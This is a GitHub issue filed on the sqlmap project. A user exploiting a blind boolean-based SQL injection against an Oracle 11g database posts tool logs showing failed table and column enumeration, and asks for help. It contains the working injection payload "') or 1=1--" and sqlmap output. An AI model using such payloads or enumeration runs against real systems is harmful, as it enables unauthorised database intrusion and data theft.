-
-
Notifications
You must be signed in to change notification settings - Fork 6k
Description
What's the problem (or question)?
I'm exploiting an 'OR boolean-based' blind sqli. I was able to retrieve:
banner: 'Oracle Database 11g Enterprise Edition Release 11.2.0.3.0 - 64bit Production'
current user: 'XXXXXXX_XX' (obfuscated by me)
current schema (equivalent to database on Oracle): 'XXXXXXX_XX' (same as above)
hostname: None (unfortunately, it wasn't possible even when trying "--no-cast" and "--hex" options)
available databases [1]:
[*] XXXXXXX_XX (it think it was the only one because it is the only schema the application is connected to)
The problem is that i cannot retrieve any table or column info, be it name or length. Here goes the tool info:
==================================
[18:05:00] [INFO] resumed: XXXXXXX_XX
[18:05:00] [WARNING] on Oracle you'll need to use schema names for enumeration as the counterpart to database names on other DBMSes
[18:05:00] [INFO] fetching tables for database: 'XXXXXXX_XX'
[18:05:00] [INFO] fetching number of tables for database 'XXXXXXX_XX'
[18:05:00] [INFO] retrieved:
[18:05:00] [WARNING] unable to retrieve the number of tables for database 'XXXXXXX_XX'
[18:05:00] [ERROR] unable to retrieve the table names for any database
[18:05:00] [INFO] fetched tables: None.USER_TYPES, None.DICTIONARY, None.ALL_USERS, None.TABLE_PRIVILEGE_MAP
[18:05:00] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) columns
[18:05:00] [INFO] fetching current database
[18:05:00] [INFO] fetching columns for table 'USER_TYPES' in database 'XXXXXXX_XX'
[18:05:00] [INFO] retrieved:
[18:05:01] [ERROR] unable to retrieve the number of columns for table 'USER_TYPES' in database 'XXXXXXX_XX'
[18:05:01] [WARNING] unable to retrieve column names for table 'USER_TYPES' in database 'XXXXXXX_XX'
do you want to use common column existence check? [y/N/q] y
[18:05:06] [INFO] checking column existence using items from '/usr/share/sqlmap/txt/common-columns.txt'
[18:05:06] [INFO] adding words used on web page to the check list
[18:05:06] [INFO] starting 10 threads
[18:05:09] [WARNING] no column(s) found
[18:05:09] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) columns
[18:05:09] [INFO] fetching current database
[18:05:09] [INFO] fetching columns for table 'DICTIONARY' in database 'XXXXXXX_XX'
[18:05:09] [INFO] retrieved:
[18:05:10] [ERROR] unable to retrieve the number of columns for table 'DICTIONARY' in database 'XXXXXXX_XX'
[18:05:10] [WARNING] unable to retrieve column names for table 'DICTIONARY' in database 'XXXXXXX_XX'
do you want to use common column existence check? [y/N/q] y
[18:05:14] [INFO] checking column existence using items from '/usr/share/sqlmap/txt/common-columns.txt'
[18:05:14] [INFO] adding words used on web page to the check list
[18:05:14] [INFO] starting 10 threads
[18:06:47] [WARNING] no column(s) found
[18:06:47] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) columns
[18:06:47] [INFO] fetching current database
[18:06:47] [INFO] fetching columns for table 'ALL_USERS' in database 'XXXXXXX_XX'
[18:06:47] [INFO] retrieved:
[18:06:47] [ERROR] unable to retrieve the number of columns for table 'ALL_USERS' in database 'XXXXXXX_XX'
[18:06:47] [WARNING] unable to retrieve column names for table 'ALL_USERS' in database 'XXXXXXX_XX'
==================================
What are the running context details?
I'm using 1.0.12#stable
-
Target DBMS (e.g.
Microsoft SQL Server
):
Oracle Database 11g Enterprise Edition Release 11.2.0.3.0 - 64bit Production -
Detected WAF/IDS/IPS protection (e.g.
ModSecurity
orunknown
):
No protection whatsoever. -
SQLi techniques found by sqlmap (e.g.
error-based
andboolean-based blind
):
OR boolean-based blind
-
Results of manual target assessment (e.g. found that the payload
query=test' AND 4113 IN ((SELECT 'foobar'))-- qKLV
works):
Found that the payload') or 1=1--
works
Can you help me?